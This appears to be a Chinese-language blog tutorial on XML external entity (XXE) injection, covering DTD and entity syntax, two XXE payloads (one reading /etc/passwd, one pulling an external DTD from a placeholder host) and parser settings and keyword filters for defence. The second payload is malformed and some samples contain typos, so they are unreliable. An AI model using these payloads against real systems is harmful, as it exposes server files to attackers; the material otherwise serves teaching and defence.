xml实体注入总结

xml

Posted by mr_king on March 11, 2021

XML实体注入总结

XML简介

  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
  • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

DTD(文档类型定义)

  • DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

  • DTD 可以在 XML 文档内声明,也可以外部引用。

  • 内部声明<!DOCTYPE 根元素 [元素声明]>

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT to      (#PCDATA)>
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMRNT body    (#PCDATA)>
]>
<note>
    <to>Georage</to>
    <from>Jone</from>
    <heading>reaminder</heading>
    <body>not forgrt the meeting</body>
</note>

外部声明(引用外部DTD)<!DOCTYPE 根元素 SYSTEM "文件名">

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体

  • DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

  • 实体又分为一般实体和参数实体一般实体的声明语法:<!ENTITY 实体名 "实体内容"> 引用实体的方式:&实体名;

  • 参数实体只能在DTD中使用,参数实体的声明格式:<!ENTITY % 实体名 "实体内容"> 引用实体的方式:%实体名;

内部实体声明 <!ENTITY 实体名称 "实体的值">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

外部实体声明 <!ENTITY 实体名称 SYSTEM "URI">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

XXE攻击

方法1:直接通过DTD外部实体声明

xml内容

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY name SYSTEM "file:///etc/passwd">
]> 
<root>
    <name>1</name>
    <tel>1</tel>
    <email>&name;</email>
    <password>1</password>
</root>

方法二:通过DTD文档引入外部DTD文档,再引入外部实体声明

xml内容

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY name SYSTEM "http://ip(deom)/file.dtd">
]>
<!ENTITY file SYSTEM "file:///etc/passwd">

支持的协议

image-20210317163019172

XXE漏洞修复与防御

  • 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据 过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC